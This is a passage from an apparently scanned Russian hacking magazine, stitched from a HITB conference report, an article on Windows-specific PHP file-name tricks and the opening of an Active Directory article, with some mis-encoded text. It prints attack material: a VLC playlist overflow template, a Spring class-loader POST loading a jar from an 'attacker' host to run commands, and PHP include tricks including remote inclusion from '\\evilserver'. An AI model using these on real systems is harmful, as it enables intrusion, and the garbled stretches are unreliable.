как взламывать DRM-системы на примерах QuickTime и iTunes. 
Поскольку я, сам являясь автором, не считаю нарушение авторских 
прав достойным занятием, то с подробностями доклада я не знако-
мился, но тебе это сделать никто, кроме совести, не запрещает.
Цедрик Гельбрун и Жан Сигвальд из той же компании поведали 
о безопасности Айфона. Доклад был посвящен описанию общей 
системы безопасности, а также атакам на загрузчик (в основном 
применяется для выполнения JailBreak) и браузер. В целом вла-
дельцам игрушки, наверное, будет интересно. Мне же, несчастному 
дикарю, ни разу не державшему в руках диковинного зверя (ну 
ладно, один раз дали потрогать :)), доклад был не особо интересен.
Продолжая модную тему безопасности мобильных устройств, пред-
ставил свой доклад «Smartphones, Applications & Security» иссле-
дователь Себастьян Зейглер, который говорил в основном о защите 
конфиденциальной информации, хранящейся на мобильных 
устройствах (начиная от приватных фото и заканчивая банковскими 
счетами), а также собственно о том, как эту информацию украсть и 
использовать для различных сценариев социальной инженерии. 
Отдельное внимание Себастьян уделил появившимся недавно фей-
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ковым банковским приложениям и различным фишкам 
— например, взлом блокировки андроида с помощью 
тупого анализа отпечатков жирных пальцев на дисплее 
(телефон разблокируется путем рисования пальцем 
фигуры, известной только владельцу).
На конференции также выступил исследователь 
Шрираж Шах, который занимается безопасностью 
web2.0. В этот раз темой его доклада являлась безопас-
ность Browser DOM. Справедливости ради замечу, что в 
выступлении было множество пересечений с предыду-
щим докладом. Из интересного можно отметить такой 
вектор атаки, когда злоумышленник внедряет код в 
новостную ленту, после чего, в результате некорректной 
обработки сервером данного сообщения (а точнее — 
в случае отсутствии фильтрации), есть возможность 
выполнить произвольный код в браузере жертвы. А 
можно сделать еще интереснее — проэксплуатировать 
уязвимость DOM Stealing. Уязвимость заключается в 
том, что иногда разработчики сохраняют критичную 
информацию в глобальных переменных. Это можно 
продемонстрировать на следующем примере, где в 
переменную temp сохраняется url-строка с именем 
пользователя и его паролем:

temp = "login.do?user="+user+"&pwd="+pwd;

xmlhttp.open("GET",temp,true); xmlhttp.

open("GET",temp,true); 

xmlhttp.onreadystatechange=function()

Таким образом, если получить доступ к этой пере-
менной через document.body, то можно перехватить 
не только куки, но и пароли в открытом виде, а также 
любую другую критичную информацию. Еще одна 
фишка заключается в том, что через DOM XSS можно 
получить доступ к переменным Flash- и Silverlight-
объектов, а это еще одно место с критической инфор-
мацией... Ну а остальное ты прочитаешь сам. 
Ни одна конференция не обходится без какого-либо 
доклада по фаззингу. Вот и на HITB такой, разумеется, 
был представлен. Исследователь Мэри Йео из компа-
нии Intel рассказала про фаззинг RTL (Register Transfer 
Level). Возможно, кого-то данная тема также заинтере-
сует, но в Хакере фаззинг расписывался не раз, так что 
останавливаться на этой теме я не буду (благо ничего 
нового из доклада не узнал).
Забавный доклад представил Лоран Удо из TEHTRI-
Security. Он рассказывал про MITM-атаки на web. На 
этот раз он взял довольно «боянистую» тему анализа 
атак. Описывал стандартные сценарии заражения 

web-ресурсов, размещения вредоносного кода (сплоит-
пака), затроянивание юзеров и фарминг их аккаунтов. 
В качестве примеров Лоран разобрал несколько реаль-
ных атак. Один из примеров – фарминг фейсбуковских 
аккаунтов с помощью фишинговой страницы, которая 
после захода редиректила на нормальный фейсбук. 
Такие фишинговые сайты легко отлавливаются по 
рефереру, который оставляет клиент. После того, как 
фейковый сайт становится известным, есть множество 
вариантов отловить злоумышленников. Кроме того, 
можно предупреждать пользователей путем подмены 
картинок на предупреждающие. Смысл в том, что фей-
ковые сайты зачастую имеют ссылки на изображения 
с реальных, дабы максимально приблизить сходство. 
Таким образом, владельцы сайта видят, что идет обра-
щение с левым реферером, и выдают вместо обычного 
изображения текст с предупреждением. Вот такая 
интересная идея, а остальное ты можешь прочитать в 
первоисточнике.
Далее мы рассмотрим наиболее интересные доклады 
подробнее.

Ох уж эта виртуализация
Безопасность систем виртуализации — модная сейчас 
тема, и некоторые специалисты даже выделяют ее 
в отдельную область знаний, чуть ли не в отдельную 
аудиторскую услугу. Я скептически отношусь к этому: 
все-таки на данный момент пентест виртуальных 
машин не сильно отличается от обычного. Тем не 
менее, в ближайшие годы данная тема будет разви-
ваться и, возможно, через какое-то время можно будет 
всерьез выделять аудит виртуальной инфраструктуры в 
отдельную услугу.
Понятно, что уязвимости, позволяющие выйти из 
дочерней системы в родительскую, будут появляться, но 
эта проблема частично решается патч-менеджментом. 
А вот как быть с ошибками, связанными с неправиль-
ной конфигурацией и архитектурой виртуальной инфра-
структуры? 
Клаудио Крисционе из Италии попробовал ответить на 
этот вопрос, представив доклад по теме. Вот ключевые 
точки его выступления:
• Фреймворк VASTO для метасплоита, «The Virtualization 
Assessment Tolkit». Он позволяет автоматизировать 
ряд проверок во время аудита виртуальной инфра-
структуры. В частности, для поиска виртуальных машин 
есть модуль Vmware Version, который с помощью soap-
запроса на 80 порт позволяет получить инфу о версии 
системы путем фингерпринтинга.

Все материалы 
конференции ты 
можешь найти на 
нашем DVD

dvd
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• Аудит клиентских машин, то есть тех, с которых осуществляется 
управление виртуальной инфраструктурой — занятие повеселей. 
На всех из них присутствует клиентское ПО (VMware VI client) и, 
конечно же, в нем есть уязвимости — к примеру, в тех же ActiveX-
компонентах. Также у клиентского ПО есть функция автоматиче-
ских обновлений. Запрос на обновление выглядит следующим 
образом: 

<ConfigRoot>

 <clientConnection id="0000">

  <authdPort>902</authdPort>

   <version>3</version>

    <patchVersion>3.0.0</patchVersion>

    <apiVersion>3.1.0</apiVersion>

    <downloadurl>https://*/client/VMware-

Viclient.exe</downloadurl>

  </clientConnection>

</ConfigRoot>

Если мы можем спуфить сеть и реализовать атаку MITM, то не 
составит труда подсунуть приложению паленые обновления с 
нашего поддельного сервера.
• Еще одной интересной фишкой был баг url-форвардинга, с помо-
щью которого можно слать POST-запросы на внутренние ресурсы и 
сканировать виртуальную подсеть, даже если к ней закрыт доступ 
(запросы в этом случае идут с IP-адреса сервера виртуальных 
машин).
• Помимо этого были показаны различные варианты спуфинга 
между компонентами ну и, конечно же, модуль для брутфорса паро-
лей.
В целом доклад Клаудио был интересным, но ряд угроз, уникальных 
для виртуальной инфраструктуры, в нем все же не были упомянуты. 
К примеру, подмена виртуальной машины во время миграции. По 
этому поводу Клаудио сказал мне, что они работают над эксплои-
том, который сможет реализовать атаку на практике, и ждут патчей 
от производителей, чтобы выложить в паблик.

Бинарная плантация
Следующий доклад был представлен исследователем Митей 
Колсеком из ACROS. Ты наверняка слышал про баг DLL Hijacking. 
Так вот, эти ребята рассказали все подробности данной атаки, да 
еще и поведали о некоторых новых фишках. Вот список основных 
способов использования уязвимости DLL Hijacking:

• Íàæàòèå íà ññûëêó â áðàóçåðå

• Íàæàòèå íà ññûëêó, ïðèøåäøóþ ïî ïî÷òå

• Íàæàòèå íà ññûëêó, ïðèøåäøóþ â IM

• Îòêðûòèå äèðåêòîðèè íà ôàéëîâîì ñåðâåðå

• Äîêóìåíò ñ DLL â ZIP-àðõèâå

• Äîêóìåíò ñ DLL â ZIP íà USB

• Äîêóìåíò ñ DLL â ZIP íà CD

• Ëîêàëüíîå ïîâûøåíèå ïðèâèëåãèé

Этого уже немало, но ребята нашли еще одну фишку. При подгруз-
ке exe-файлов через функцию CreateProcess необходимый файл 
ищется по следующему алгоритму:

Ïðîâåðÿåòñÿ äèðåêòîðèÿ, èç êîòîðîé çàïóùåíî ïðèëîæåíèå

Òåêóùàÿ ðàáî÷àÿ äèðåêòîðèÿ (CWD)

C:\windows\system32

C:windows\system

C:windows\

System Path; User Path

Тут ничего не поделаешь. Все четко, но при запуске бинарника 
при помощи ShellExecute мы получаем такую же картину, только 
без первого пункта! То есть, сперва проверяется текущая рабочая 
директория, а это как раз то, что нам надо. Таким образом, ряды 
более чем четырех сотен приложений, уязвимым к DLL Hijacking 
или Binary planting (как называют это исследователи из ACROSS), 
пополнили еще 120 уязвимых к EXE planting.
Помимо этого они выпустили тулзу ACROS Binary Planting Detector 
(как будто им чужих не хватало :)), с помощью которой простые 
смертные также могут найти уязвимости в других приложениях. Ну 
и конечно, в докладе описаны рекомендации по безопасности для 
разработчиков, админов и юзеров. На сайте www.binaryplanting.
com можно ознакомиться с последними новостями по данной теме 
и проверить себя на уязвимости.

Палим кейлогеры
Все наверняка в курсе, что существуют хардварные кейлогеры, 
которые вставляются между клавиатурой и ps/2-разъемом, позво-
ляя записывать все нажатия клавиш. На первый взгляд, преиму-
щество их очевидно: в отличие от софтварных их невозможно 
обнаружить программно. Точнее, было невозможно, пока один 
исследователь не задумался об этом и не предложил решение. Еще 
до доклада, во время общения с автором методики, мне в голову 
пришла мысль, что это тайминги. И я оказался прав.
Все были удивлены тем фактом, что практически все кейлогеры 
работают по уязвимой для этого метода обнаружения схеме. Сперва 
они получают сигнал от клавиатуры, потом обрабатывают его, а 
затем передают в компьютер. Собственно, на различии во времени 

Самуил Шах. Запомни это лицо: если тебе посчаст-
ливится побывать на его докладе, то считай, что тебе 
крупно повезло



между обычным и перехваченным сигналом можно играть, и тем 
самым обнаруживать факт наличия кейлогера. Более подробно 
технические нюансы ты можешь посмотреть в докладе, если раз-
бираешься в железе (я, честно говоря, в этом не силен). Также в 
докладе описаны и другие методы обнаружения. На самом деле я 
удивлен, почему кейлогеры не работают как прокси, перехватывая 
сигнал незаметно. Полагаю, скоро появится новое поколение кей-
логеров, которых уже так просто не обнаружить.

Эксплойты с доставкой на дом
Исследователь Самуил Шах традиционно выступил в конце конфе-
ренции, изрядно повеселив публику. Вообще этот индус — отлич-
ный оратор и профессионал в своей области. Его доклады встре-
чаются в архивах таких конференций, как Blackhat, аж за 2000 год. 
Многим бы следовало поучиться у него именно мастерству ведения 
презентаций и подачи материала. Зачастую бывает так, что серьез-
ные технические исследования доносятся совершенно безграмотно 
— вот пришел специалист рассказать, как эксплуатировать пере-
полнение кучи в девайсах с нестандартной архитектурой на какой-
нибудь «embended OS», и мямлит себе под нос, а на слайдах одни 
скриншоты из дебагера. Шанс, что кто-нибудь кроме него поймет, 
что он сказал, а главное — заинтересуется этим, не велик. С другой 
стороны, есть прекрасные ораторы, которые любой самый скучный 
и боянистый доклад могут подать так, что все будут слушать, не 
отрываясь, и друзьям потом пересказывать. Самуил один из них: 
доклад не  уступает шоу какого-нибудь Эдди Мерфи. Впрочем, хва-
тит лирических отступлений, рассмотрим, что же интересного было 
в докладе с технической стороны, ибо атмосферу я все равно не 
передам.
Доклад назывался «Доставка эксплойтов». Не секрет, что основная 
масса уязвимостей аккумулируется в клиентском софте: есть мно-
жество браузеров, у них множество плагинов и во всем этом много-
образии находят тонны уязвимостей. В их эксплуатации обычно 
есть нюанс: чаще всего необходимо заставить пользователя сде-
лать что-либо: например, перейти по паленой ссылке.

Самый простой и действенный способ, который сейчас набирает 
обороты – это использование сервисов для сокращения url (напри-
мер, bit.ly). К слову, я считаю эти сервисы глобальным злом, и мне 
кажется, что придумали их те, кому выгодно массово троянить 
пользователей под маской удобства. Суди сам: используя сокраще-
ния URL можно весело вешать браузер, зацикливая несколько ссы-
лок друг на друга. С двумя ссылками такая вещь уже не катит, но 
если использовать три и более линков — многие браузеры вешают-
ся. Из той же оперы идея «укорачивания» паленых ссылок, содер-
жащих подозрительный для персональных файрфолов контент.
В качестве примера всего вышеописанного был рассмотрен экс-
плойт переполнения буфера в VLC-плеере. Переполнение проис-
ходит при загрузке «кривого» плейлиста, в котором не проверяется 
длина переменной при занесении в буфер. Классная уязвимость, 
но вот только проэксплуатировать, а точнее впарить пользователю, 
ее не так-то просто.
Не думаю, что люди часто получают по почте ссылку на плейлист, 
который необходимо проиграть. Согласись, выглядит неестествен-
но. Но исходник плейлиста все же приложу.

<?xml version="1.0" encoding="UTF-8"?> 

<playlist version="1" 

   xmlns="http://xspf.org/ns/0/" 

   xmlns:vlc="http://www.videolan.org/vlc/playlist/

ns/0/"> 

 <title>Playlist</title> 

 <trackList> 

  <track> 

   <location> 

      smb://example.com@0.0.0.0/foo/#{AAAAAAAA....} 

   </location> 

   <extension 

      application="http://www.videolan.org/vlc/

playlist/0"> 

     <vlc:id>0</vlc:id> 
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   </extension> 

  </track> 

 </trackList> 

</playlist>

Тут-то как раз и приходят на ум различные ухищрения. Ухищрение 
номер один – разместить эксплоит на smb-шаре. Ухищрение номер 
два – сгенерировать Alpha-numeric шелл-код. Ухищрение номер 
три – сократить этот огромный url при помощи bit.ly. В итоге нам 
остается только внедрить на сайт следующий код

<embed type="application/x-vlc-plugin" 

  width="320" height="200" 

  target="http://tinyurl.com/ycctrzf" 

  id="vlc" />

Прелесть тут заключается в том, что мы и переполнение поэксплуа-
тировали, и защитные механизмы обошли, ведь никакого подо-
зрительного шеллкода или ява-скрипта в сгенеренном коде нет. Ну 
и, конечно же, никто не мешает внедрить этот код, используя XSS-
уязвимость на крупном сайте или популярной соцсети.
Теперь второй пример: 0day под ie+java. Внимание, фокус! Как ты 
думаешь, что изображено на этом рисунке?
Это шелл-код. Да, вот самый настоящий шелл-код, побайт-
но закодированный в пикселях изображения. Такой шелл-код 
несложно загрузить пользователю в память, поместив его в 
аватар. Плюс в том, что такой код не будет обнаруживаться раз-

личными антивирусами, но остается вопрос: как, собственно, 
его выполнить?. С приходом всяческих нововведений типа 
HTML5 мы получаем огромное количество новых способов 
обхода средств защиты. К примеру, у нас появился замеча-
тельный тэг <Canvas>, с помощью которого, используя функцию 
getimagedata(), можно побайтово считать шелл-код из картинки и 
выполнить его. Вот такой хитрый метод был представлен в докла-
де, а подробности... Ну, ты меня понял :).

Доим лошадь, или выполняем 
произвольный код в Java
Отличное название для отличного доклада. В свое время я хотел 
сделать исследование на эту тему, но все время руки не доходи-
ли. Было ложное ощущение того, что Java реально безопасна, и 
смысла лезть в эту степь нет. Классный парень Медер Кадыралиев 
из Киргизии, сейчас работающий в австралийском Google, сделал 
довольно успешный рисерч на эту тему. Саму Яву он не затронул, но 
вот популярным фреймворкам Apache struts2, Spring и JBoss Seam 
досталось по полной.
Рассмотрим один из багов в Spring. Там есть технология MVC, 
которая позволяет создавать объекты автоматически, на основе 
введенных POST-запросов. Уже ясно, что это адское палево, но 
посмотрим дальше. Если, к примеру, вызвать следующий POST-
запрос:

POST /adduser HTTP/1.0

...

user.address.street= Disclosure+Str

Он будет эквивалентен такому вызову на сервере: 

frmObj.getUser().getAddress().setStreet(

   "Disclosure Str.")

А что же будет, если сделать такой запрос:

POST /adduser HTTP/1.0

...

class.classLoader.URLs[0]=jar:http://attacker/spring-

exploit.jar!/

Тут мы пытаемся подменить URL загрузчика классов на jar-архив, 
лежащий на нашем сервере. Как результат — мы сможем выпол-

Отрывок из доклада про обнаружение кейлогеров

Я с частью команды HITB



нить теоретически произвольный код. Но для этого необходима 
еще пара шагов. Загрузчик классов ищет в jar-архиве TDL-файлы, 
которые хранят ссылки на tag-файлы.

/META-INF/spring-form.tld which defines form:input 

and form:form tags: 

<tag-file>

    <name>input</name>

    <path>/META-INF/tags/InputTag.tag</path>

  </tag-file>

  <tag-file>

    <name>form</name>

    <path>/META-INF/tags/InputTag.tag</path>

  </tag-file>

А tag-файлы, в свою очередь, могут хранить java-код и компилиру-
ются при загрузке. Таким образом, если в них внедрить следующий 
код, он замечательно выполнится:

/META-INF/tags/InputTag.tag:

<%@ tag dynamic-attributes="dynattrs" %>

<%

 java.lang.Runtime.getRuntime().exec("mkdir /tmp/

PWNED"); 

%>

К сожалению, есть одно условие — этот хак сработает, только 
если его проэксплуатировать до первого вызова jsp-сценария, 
что на практике маловероятно, но в связке с каким-нибудь 
DoS, который лихо перезагрузит сервер, вполне возможно. 

Я рассмотрел наиболее понятный для неподготовленного 
читателя метод. В докладе Медера было множество очень 
интересных хаков, которые требуют определенных скиллов 
в Яве, но это уже тема для отдельного изучения. Если кому 
интересно, можно обратиться к первоисточнику. Минимальные 
знания Java необходимы для понимания доклада, для этого 
Медер рекомендовал классную книгу под названием «Thinking 
Java». Кстати, если есть желание ресерчить в данной области, 
можешь писать мне — возможно ты пополнишь ряды DSECRG, 
а потом и сам отправишься выступать на HITB с уникальным 
исследованием.

В заключение
Вот, пожалуй, и все наиболее интересное. О, чуть не забыл 
крутую тему: на HITB'е я серьезно увлекся темой lockpicking, 
что по-нашему – взламывание замков. Не каких-нибудь 
там электронных, а самых обыкновенных механических. По 
этой теме есть целые группы (к примеру look.nl), а также 
куча докладов и тренингов. Я уже подсадил на это Алексея 
Синцова, так что когда мы с ним прокачаем навыки, то сразу 
расскажем об этом в журнале (естественно, только в ознако-
мительных целях :)).

PS
Буквально вчера я получил подтверждение на участие с конфе-
ренции Blackhat. Как и каждый специалист по ИБ, я с детства 
мечтал попасть туда, и вот — еду, но не просто слушателем, а 
докладчиком! И, судя по всему, я буду первым русским (эми-
гранты не в счет) докладчиком на этой знаменитой конферен-
ции, чему сам искренне удивлен. Так что жди обзор BlackHat 
изнутри в ближайших номерах — ты прочтешь это первым на 
страницах Х! z  
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Какой-нибудь год назад все просто с ума схо-
дили от Error-based MySQL, а unserialize ка-
зался чем-то сложным и не встречающимся в 
реальной жизни. Теперь это уже классические 
техники. Что уж говорить о таких динозаврах 
как нуль-байт в инклудах, на смену которому 
пришел file name truncated. Исследователи 
постоянно что-то раскапывают, придумывают, 
а тем временем уже выходят новые версии 
интерпретаторов, движков, а с ними – новые 
баги разработчиков.
По сути, есть три метода найти уязвимость: 
смекалка (когда исследователь придумывает 
какой-нибудь трюк и проверяет, работает 
ли он на практике), анализ исходного кода 
и фаззинг. Об одном интересном китайском 
фаззинге и его развитии с моей стороны я хочу 
тебе рассказать.

Fuzzing — это не 
только ценный мех...
Началось все с того, что Гугл распоря-
дился выдачей уже не помню на какой 

запрос и показал сайт на китайском 
языке: http://code.google.com/p/pasc2at/
wiki/SimplifiedChinese, где было собрано 
множество интересных находок китайских 
фаззеров. Интересно, что в списке были 
совсем свежие находки, которые только-
только публиковались в статьях. Среди них 
нашелся и привлекший мое внимание код 
следующего содержания:

<?php

for($i=0;$i<255;$i++) 

{

   $url = '1.ph'.chr($i);

   $tmp = @file_get_contents($url);

   if(!empty($tmp)) 

      echo chr($i)."\r\n";

}  

?>

Привлек он меня потому, что смысла я не 
понял, но разобрал в описании знакомые 
символы «win32» :). Переводить китайскую 

письменность было странным развлече-
нием даже с помощью google.translate, по-
этому я тупо скомпилил этот код под винду 
и посмотрел на результат. Каково же было 
мое удивление, когда обнаружилось, что у 
файла в винде существовали как минимум 
4 имени: 1.phP, 1.php, 1.ph>, 1.ph<. Теперь 
уже китайская письменность не казалась 
мне такой далекой, и переводчик Гугла 
помог понять ее смысл. Собственно, в этом 
самом «смысле» не было ничего больше, 
чем описание кода и результата его работы. 
Не то чтобы не густо — вообще никак! Такое 
положение дел меня не устраивало. До сих 
пор не понимаю этих китайцев — неуже-
ли им не интересно было понять, какие 
функции еще уязвимы, какие особенности 
у этого бага при эксплуатации, а конце кон-
цов, почему это вообще работает?

Требую продолжения 
банкета!
Первым делом я добавил второй итератор и 

Íîâûå óÿçâèìîñòè 
äîñòóïà ê ôàéëàì â PHP  

  Âñå ðàçâèâàåòñÿ. Íà ñìåíó îäíèõ ìåòîäîâ ïðèõîäÿò äðóãèå, 
ïðîäâèíóòûå òðþêè áûñòðî ïåðåñòàþò ðàáîòàòü, à ñâåðõíîâûå èäåè 
ñòàíîâÿòñÿ ïîïóëÿðíûì ñòàðüåì. Îñîáåííî ýòà äèíàìèêà ÷óâñòâóåòñÿ â 
îáëàñòè áåçîïàñíîñòè âåá-ïðèëîæåíèé, ãäå öàðèò ìèð php-ñêðèïòîâ...

UNIXOID

Ñêâîçü 
òåðíèè 
ê ôàéëàì!
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запустил код с фаззингом уже по двум последним байтам. 
Результаты были непредсказуемы:

1.p<0 (íóëü-áàéò íà êîíöå)

1.p<  (ïðîáåë íà êîíöå)

1.p<"

1.p<.

1.p<<

1.p>>

1.p<>

1.p><

1.p<(p/P)

1.p>(p/P)

1.p(h/H)<

1.p(h/H)>

1.p(h/H)(p/P)

Отсюда явно проглядывались закономерности — на 
конце имени файла могли идти символы: точка, двойная 
кавычка, пробел, нуль-байт. Чтобы проверить эту догадку, 
я запустил следующий код:

<?php

if (file_get_contents("test.php".str_

repeat("\"",10).str_repeat(" ",10).str_

repeat(".",10))) echo 1337;

?>

Как нетрудно догадаться, он вернул 1337, то есть все ра-
ботало так, как и было предсказано. Это само по себе было 
уже расширение по символам популярной уязвимости, 
альтернативы нуль-байту в инклудах. После продолжения 
издевательств над интерпретатором были найдены конс-
трукции имени файла со слэшами на концах, которые тоже 
читались без проблем:

file\./.\.

file////.

file\\\.

file\\.//\/\/\/.

Думаю, здесь все ясно: если использовать слэши после 
имени файла, то на конце всегда должна стоять точка. 
При этом слэши можно миксовать, и между ними можно 
втыкать одну точку.
При всем при этом оставалось неясным главное — что 
скрывают символы < и >? 

Великий и могучий WINAPI
Как мне быстро стало понятно, фаззингом природу этой 
ошибки не поймешь. Оставалось два варианта: смотреть 
сорцы или трассировать вызовы. Оба эти метода до-

вольно быстро указали на одно и то же — вызов функции 
FindFirstFile. При этом в стеке вызов проходил уже с 
заменой символа > на ?, а < на *, двойная кавычка же 
заменялась на точку. Также очень весело было замечать, 
что, несмотря на замену, < не всегда работала как * в 
маске файла, а вот << всегда хорошо отрабатывала. При 
этом в стеке оба вызова были совершенно одинаковые, 
но давали разный результат (см. рисунок). Теперь стало 
полностью ясно, откуда растут ноги. И ноги действитель-
но росли из Ж под именем MS.

Великий и могучий MSDN
Теперь оставалось понять, является ли такое поведение 
функции FindFirstFile нормальным, или же здесь имеет 
место баг. Искать ответ на этот вопрос я начал с документа-
ции: msdn.microsoft.com/en-us/library/aa364418(v=vs.85).
aspx.
В самой документации ничего не говорилось насчет сим-
волов > < ", зато вот в комментариях...

Bug?!

The characters of '<' and '>' are treated like 

wildcard by this function.

[MSFT] — these are listed in the Naming A File 

topic as illegal characters in path and file 

names. That topic is being updated to make this 

clearer.

History

10/19/2007

xMartian 

5/2/2008

Mark Amos — MSFT

То есть об этом баге было известно еще в 2007 году! А ответ 
производителя вообще потрясал своим содержанием... 
Без комментариев :). На этом, вроде бы, стала оконча-
тельно ясна причина такого поведения PHP. Можно было 
приступать к расширению области применения данного 
бага. Перепробовав различные варианты, перечитав 
кучу документации (MSDN и правда очень полезен) и 
опробовав сотни идей, я выявил ряд правил, которые 
работают для файловых имен в WIN-системах. Причем 
баг в FindFirstFile способствует только первым четырем 
из них (нулевой пункт не считаем). Также, забегая вперед, 
скажу, что уязвимость касается не только функции file_get_
contents:
0. Символы * и ? не работают в именах файлов при вызове 
FindFirstFile через PHP (фильтруются).
1. Символ < заменяется при вызове FindFirstFile на *, 

 057

Вся информация 
приведена 
исключительно в 
образовательных 
целях. 
Ответственность за 
любые действия, 
совершенные с ее 
использованием, 
несет только лицо, 
совершившее эти 
действия.

warning 

WARNING

Оригинальная заметка в китайской Wiki. 
Наломали, но недодумали...

Положительный результат проверки 
существования директории

• Документация 
функции FindFirst-
File: msdn.microsoft.
com/en-us/library/
aa364418(v=vs.85).
aspx;
• Спецификации 
по именам файлов 
(многие трюки 
почерпаны оттуда): 
msdn.microsoft.
com/en-us/library/
aa365247(v=vs.85).
aspx;
• Сведения о 
сокращенных именах 
файлов в Windows: 
technet.microsoft.
com/en-us/library/
cc722482.aspx;
•Мой блог (отвечаю 
на вопросы, пишу по 
мере сил): oxod.ru.

links

HTTP://WWW
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то есть маску любого количества любых символов. При этом были 
найдены случаи, когда это работает некорректно (см. картинку). Для 
гарантированной маски * следует использовать <<. 
Пример: include('shell<') подключит файл shell*, причем 
если под маску попадет более одного файла, то подключится тот, кото-
рый идет раньше по алфавиту.
2. Символ > заменяется при вызове FindFirstFile на ?, то есть один 
любой символ.
Пример: include('shell.p>p') подключит файл shell.p?p, 
причем если под маску попадет более одного файла, то подключится 
тот, который идет раньше по алфавиту.
3. Символ " заменяется при вызове FindFirstFile на точку. 
Пример: include('shell"php') эквивалентно 
include('shell.php').
4. Если первый символ в имени файла — точка, то прочитать файл 
можно по имени без учета этой точки.
Пример: fopen("htaccess") эквивалентно fopen(".htaccess"), 
а более навороченно, с использованием п.1, fopen("h<<"). Так как 
в имени файла вторая буква "а", то по алфавиту он, скорее всего, будет 
первым.
5. В конце имен файлов можно использовать последовательности из 
слэшей одного или разного вида (прямой и обратный), между кото-
рыми можно ставить одну точку, причем в конце всегда должна стоять 
точка, и не ", а настоящая. 
Пример: fopen("")
6. Можно использовать сетевые имена, начинающиеся с \\, за которыми 
идет любой символ, кроме точки. Это очевидно и было известно всем 
давно. Дополню лишь, что если сетевое имя не существует, то на опе-
рацию с файлом уходят лишние 4 секунды, что способствует истечению 
времени и ошибке max_execution_time (смотри статью «Гюльчатай, 
открой личико» в ][ 04.2010). Также это позволяет обходить allow_url_
fopen=Off и делать RFI.
Пример: include('\\evilserver\shell.php')
7. Можно использовать расширенные имена, начинающиеся с \\.\, что 
дает возможность переключаться между дисками в имени файла. 
Пример: include('\\.\C:\my\file.php\..\..\..\D:\
anotherfile.php').
8. Можно использовать альтернативный синтаксис имени диска для 
обхода фильтрации слэшей.
Пример: file_get_contents('C:boot.ini') эквивалентно file_
get_contents('C:/boot.ini')

9. Можно использовать короткие DOS-совместимые имена файлов и 
директорий. Это боян, не спорю. Но обращаю твое внимание, что если 
в директории находится более четырех файлов, имена которых короче 
трех символов, то такие имена будут дополнены четырьмя хекс-сим-
волами. Аналогично будет изменено имя файла, если в директории 
находятся более четырех файлов, чьи имена начинаются с тех же двух 
первых букв.
Цитата:  «Specifically, if more than four files use the 
same six-character root, additional file names are 

created by combining the first two characters of the 

file name with a four-character hash code and then 

appending a unique designator. A directory could have 

files named MYFAVO~1.DOC, MYFAVO~2.DOC, MYFAVO~3.

DOC, and MYFAVO~4.DOC. Additional files with this 

root could be named MY3140~1.DOC, MY40C7~1.DOC, and 

MYEACC~1.DOC».
Пример: in.conf имеет DOS имя IND763~1.CON, то есть его можно 
прочитать строчкой file_get_contents('<<D763<<'), в которой 
вообще не содержится ни байта из настоящего имени файла! Как 
считаются эти четыре хекс-символа нигде не сказано, но они, кажется, 
зависят только от имени файла.
10. В PHP под окружением командной строки (не mod_php, а php.exe) 
работает специфика файлов с зарезервированными именами aux, con, 
prn, com1-9, lpt1-9. 
Пример: file_get_contents('C:/tmp/con.jpg') будет беско-
нечно читать из устройства CON нуль-байты, ожидая EOF.
Пример: file_put_contents('C:/tmp/con.jpg',chr(0x07)) 
пискнет динамиком сервера (музыка :)).
Советую вырезать все пункты и повесить в рамочку на видное место. 
Лишним не будет :).

Играем в считалочку
Поверить китайскому в подписи под фаззингом о том, что уязвимость 
касается только file_get_contents, я просто не мог, хотя бы потому, что 
немного помнил исходники PHP. 
Недолго думая, я проверил все функции, которые вспомнил касательно 
работы с файлами. Результаты оказались более чем положительные.

Óÿçâèìîñòü ïðèñóòñòâóåò â ôóíêöèÿõ:

fopen

file_get_contents

copy

parse_ini_file

readfile

file_put_contents

mkdir

tempnam

touch

move_uploaded_file

include(_once)

require(_once)

ZipArchive::open()

Отрицательный результат проверки существования 
директории

Статья M4g на snipper.ru. То же самое, что у китайцев, 
только по-русски

«ÅÑÒÜ ÒÐÈ ÌÅÒÎÄÀ ÍÀÉÒÈ 
ÓßÇÂÈÌÎÑÒÜ: ÑÌÅÊÀËÊÀ, ÀÍÀËÈÇ 
ÈÑÕÎÄÍÎÃÎ ÊÎÄÀ È ÔÀÇÇÈÍÃ»



Íå ïðèñóòñòâóåò â:

rename

unlink

rmdir

Есть где разгуляться, не правда ли? Но это еще полбеды.

PoC: идеи использования
Очевидно, что данную уязвимость можно использовать для обхо-
да всевозможных фильтров и ограничений. Например для файла 
.htaccess альтернативное имя будет h<< (см. п.4, п.1). Двухсимволь-
ные файлы вообще можно читать без имени (см. п.9.). Ну и так далее. 
Есть и другое, не менее интересное применение — определение имен 
папок и файлов. Рассмотрим пример:

<?php

file_get_contents("/images/".$_GET['a'].".jpg");

?>

С помощью такого кода можно очень просто получить список директо-
рий веб-сервера.

Посылаем запрос test.php?a=../a<%00 и получаем ответ вида

Warning: include(/images/../a<) [function.include]: 

failed to open stream: Invalid argument in ...

èëè

Warning: include(/images/../a<) [function.include]:  

failed to open stream: Permission denied ...

В первом случае сервер не нашел ни одной директории начинающей-
ся с буквы «а» в корне, во втором — нашел.
Далее можно запустить подбор второй буквы и так далее. Для ускоре-
ния можно воспользоваться фонетикой (см. статью «Быстрее, выше 
и снова быстрее. Революционные подходы к эксплуатации SQL-инъ-
екций» в ][ 12.2009). Работает старая добрая техника эксплуатации 
слепых SQL-инъекций.
В ходе проведения опытов было замечено, что иногда сервер сразу 
выдает найденный путь в сообщении об ошибке. Тогда подбирать при-
дется только в случае, если директории начинаются с одного и того же 
символа. От чего зависит вывод ошибки, я так и не успел разобраться 
и оставляю на суд общественности.

Лирическое отступление
Отрадно заметить, что репорт у китайцев нашел и Маг, который опуб-
ликовал ее в числе прочих в статье «Малоизвестные способы атак на 
web-приложения» (snipper.ru/view/18/maloizvestnye-sposoby-atak-
na-web-prilozheniya) еще 19 апреля, но пояснения и акцента на этой 
уязвимости там не было, был только китайский пример, с которого я и 
начинал. z 

Магическое отличие вызова * и <. Может Никита 
Тараканов разберется, в чем тут дело?

Список функций и результаты проверки. А также 
некоторые комментарии. На английском, так как 
пишу whitepaper.

 Сообщение об ошибке в функции FindFirstFile на MSDN и ответ на него. 2007 год...
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Мы, конечно, поговорим об уязвимостях в службах и ОС, но в 
основном разговор будет об общих проблемах в архитектуре сети 
и проблемах аутентификации. 

Домен. Просто домен
Перед тем, как начать, посмотрим, что представляет собой 
абстрактная корпоративная сеть. Начнем с понятия Active 
Directory. На самом деле это служба каталогов, которая удобно хра-
нит ресурсы сети и их «свойства». Типа каталога папочек в ящике, 
где описано, что за сервера в сети, что за рабочие станции, прин-
